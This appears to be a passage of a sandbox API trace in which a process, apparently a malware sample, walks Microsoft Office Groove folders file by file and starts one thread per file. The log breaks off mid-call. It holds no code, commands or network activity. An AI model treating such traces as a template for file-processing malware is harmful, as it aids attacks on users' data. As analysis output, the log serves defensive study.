1 [0102.469] wcscmp (_String1="groove.net", _String2=".") returned 1 [0102.469] wcscmp (_String1="groove.net", _String2="..") returned 1 [0102.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4205d7d0 [0102.469] wcscpy (in: _Dest=0x4205d7d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates" [0102.469] wcscat (in: _Dest=0x4205d7d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\" [0102.469] wcscat (in: _Dest=0x4205d7d0, _Source="groove.net" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" [0127.505] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x4205d7d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15f4 [0127.505] FindNextFileW (in: hFindFile=0x1cd9d030, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1 [0127.505] wcscmp (_String1="Verisign", _String2=".") returned 1 [0127.505] wcscmp (_String1="Verisign", _String2="..") returned 1 [0127.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x202b1410 [0127.506] wcscpy (in: _Dest=0x202b1410, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates" [0127.506] wcscat (in: _Dest=0x202b1410, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\" [0127.506] wcscat (in: _Dest=0x202b1410, _Source="Verisign" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign" [0127.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202b1410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608 [0127.507] FindNextFileW (in: hFindFile=0x1cd9d030, lpFindFileData=0x1ce562f0 | out: lpFindFileData=0x1ce562f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0 [0127.507] FindClose (in: hFindFile=0x1cd9d030 | out: hFindFile=0x1cd9d030) returned 1 [0127.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce562f0) returned 1 [0127.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af850) returned 1 [0127.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ba30) returned 1 Thread: id = 862 os_tid = 0x1420 [0101.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79ddf0 [0101.034] wcscpy (in: _Dest=0x1b79ddf0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" [0101.034] wcscat (in: _Dest=0x1b79ddf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\" [0101.034] wcscat (in: _Dest=0x1b79ddf0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*" [0101.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58780 [0101.035] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*", lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c5b0 [0102.458] wcscmp (_String1=".", _String2=".") returned 0 [0102.458] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.458] wcscmp (_String1="..", _String2=".") returned 1 [0102.458] wcscmp (_String1="..", _String2="..") returned 0 [0102.458] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="People", cAlternateFileName="")) returned 1 [0102.459] wcscmp (_String1="People", _String2=".") returned 1 [0102.459] wcscmp (_String1="People", _String2="..") returned 1 [0102.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d650 [0102.459] wcscpy (in: _Dest=0x1cf4d650, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" [0102.459] wcscat (in: _Dest=0x1cf4d650, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\" [0102.459] wcscat (in: _Dest=0x1cf4d650, _Source="People" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" [0126.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cf4d650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1634 [0126.838] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1 [0126.838] wcscmp (_String1="Places", _String2=".") returned 1 [0126.838] wcscmp (_String1="Places", _String2="..") returned 1 [0126.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202af970 [0126.838] wcscpy (in: _Dest=0x202af970, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" [0126.838] wcscat (in: _Dest=0x202af970, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\" [0126.838] wcscat (in: _Dest=0x202af970, _Source="Places" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" [0126.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202af970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc20 [0126.839] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1 [0126.839] wcscmp (_String1="Things", _String2=".") returned 1 [0126.839] wcscmp (_String1="Things", _String2="..") returned 1 [0126.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202af220 [0126.839] wcscpy (in: _Dest=0x202af220, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" [0126.839] wcscat (in: _Dest=0x202af220, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\" [0126.839] wcscat (in: _Dest=0x202af220, _Source="Things" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" [0126.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202af220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc1c [0126.840] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0 [0126.840] FindClose (in: hFindFile=0x1cd9c5b0 | out: hFindFile=0x1cd9c5b0) returned 1 [0126.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58780) returned 1 [0126.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0126.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 Thread: id = 863 os_tid = 0x1424 [0101.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202af8e0 [0101.036] wcscpy (in: _Dest=0x202af8e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0101.036] wcscat (in: _Dest=0x202af8e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0101.036] wcscat (in: _Dest=0x202af8e0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*" [0101.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57b50 [0101.036] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*", lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cd90 [0102.480] wcscmp (_String1=".", _String2=".") returned 0 [0102.480] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.548] wcscmp (_String1="..", _String2=".") returned 1 [0102.548] wcscmp (_String1="..", _String2="..") returned 0 [0102.548] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7093c400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7093c400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImages.jpg", cAlternateFileName="CALEND~1.JPG")) returned 1 [0102.548] wcscmp (_String1="CalendarToolIconImages.jpg", _String2=".") returned 1 [0102.548] wcscmp (_String1="CalendarToolIconImages.jpg", _String2="..") returned 1 [0102.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278b30 [0102.548] wcscpy (in: _Dest=0x20278b30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0102.548] wcscat (in: _Dest=0x20278b30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0102.548] wcscat (in: _Dest=0x20278b30, _Source="CalendarToolIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg" [0126.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20278b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa88 [0126.843] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7093c400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7093c400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x538, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarToolIconImagesMask.bmp", cAlternateFileName="CALEND~1.BMP")) returned 1 [0126.843] wcscmp (_String1="CalendarToolIconImagesMask.bmp", _String2=".") returned 1 [0126.843] wcscmp (_String1="CalendarToolIconImagesMask.bmp", _String2="..") returned 1 [0126.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x107300 [0126.843] wcscpy (in: _Dest=0x107300, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.843] wcscat (in: _Dest=0x107300, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.844] wcscat (in: _Dest=0x107300, _Source="CalendarToolIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp" [0126.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc18 [0126.844] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ChessIconImages.bmp", cAlternateFileName="CHESSI~1.BMP")) returned 1 [0126.844] wcscmp (_String1="ChessIconImages.bmp", _String2=".") returned 1 [0126.844] wcscmp (_String1="ChessIconImages.bmp", _String2="..") returned 1 [0126.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ad340 [0126.845] wcscpy (in: _Dest=0x202ad340, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.845] wcscat (in: _Dest=0x202ad340, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.845] wcscat (in: _Dest=0x202ad340, _Source="ChessIconImages.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp" [0126.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc10 [0126.846] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x938, dwReserved0=0x0, dwReserved1=0x0, cFileName="ChessIconImagesMask.bmp", cAlternateFileName="CHESSI~2.BMP")) returned 1 [0126.846] wcscmp (_String1="ChessIconImagesMask.bmp", _String2=".") returned 1 [0126.846] wcscmp (_String1="ChessIconImagesMask.bmp", _String2="..") returned 1 [0126.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad6b0 [0126.846] wcscpy (in: _Dest=0x202ad6b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.846] wcscat (in: _Dest=0x202ad6b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.846] wcscat (in: _Dest=0x202ad6b0, _Source="ChessIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp" [0126.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad6b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc0c [0126.856] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x296b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CreateSpaceImage.jpg", cAlternateFileName="CREATE~1.JPG")) returned 1 [0126.856] wcscmp (_String1="CreateSpaceImage.jpg", _String2=".") returned 1 [0126.856] wcscmp (_String1="CreateSpaceImage.jpg", _String2="..") returned 1 [0126.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ac840 [0126.856] wcscpy (in: _Dest=0x202ac840, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.856] wcscat (in: _Dest=0x202ac840, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.856] wcscat (in: _Dest=0x202ac840, _Source="CreateSpaceImage.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg" [0126.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150c [0126.857] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CreateSpaceImageMask.bmp", cAlternateFileName="CREATE~1.BMP")) returned 1 [0126.857] wcscmp (_String1="CreateSpaceImageMask.bmp", _String2=".") returned 1 [0126.857] wcscmp (_String1="CreateSpaceImageMask.bmp", _String2="..") returned 1 [0126.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad130 [0126.857] wcscpy (in: _Dest=0x202ad130, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.857] wcscat (in: _Dest=0x202ad130, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.857] wcscat (in: _Dest=0x202ad130, _Source="CreateSpaceImageMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp" [0126.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbfc [0126.858] FindNextFileW (in: hFindFile=0x1cd9cd90, lpFindFileData=0x1ce57b50 | out: lpFindFileData=0x1ce57b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c4f100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71c4f100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataListIconImages.jpg", cAlternateFileName="DATALI~1.JPG")) returned 1 [0126.858] wcscmp (_String1="DataListIconImages.jpg", _String2=".") returned 1 [0126.858] wcscmp (_String1="DataListIconImages.jpg", _String2="..") returned 1 [0126.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x202ad080 [0126.859] wcscpy (in: _Dest=0x202ad080, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0126.859] wcscat (in: _Dest=0x202ad080, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0126.859] wcscat (in: _Dest=0x202ad080, _Source="DataListIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg" [0126.859] CreateThread (in: 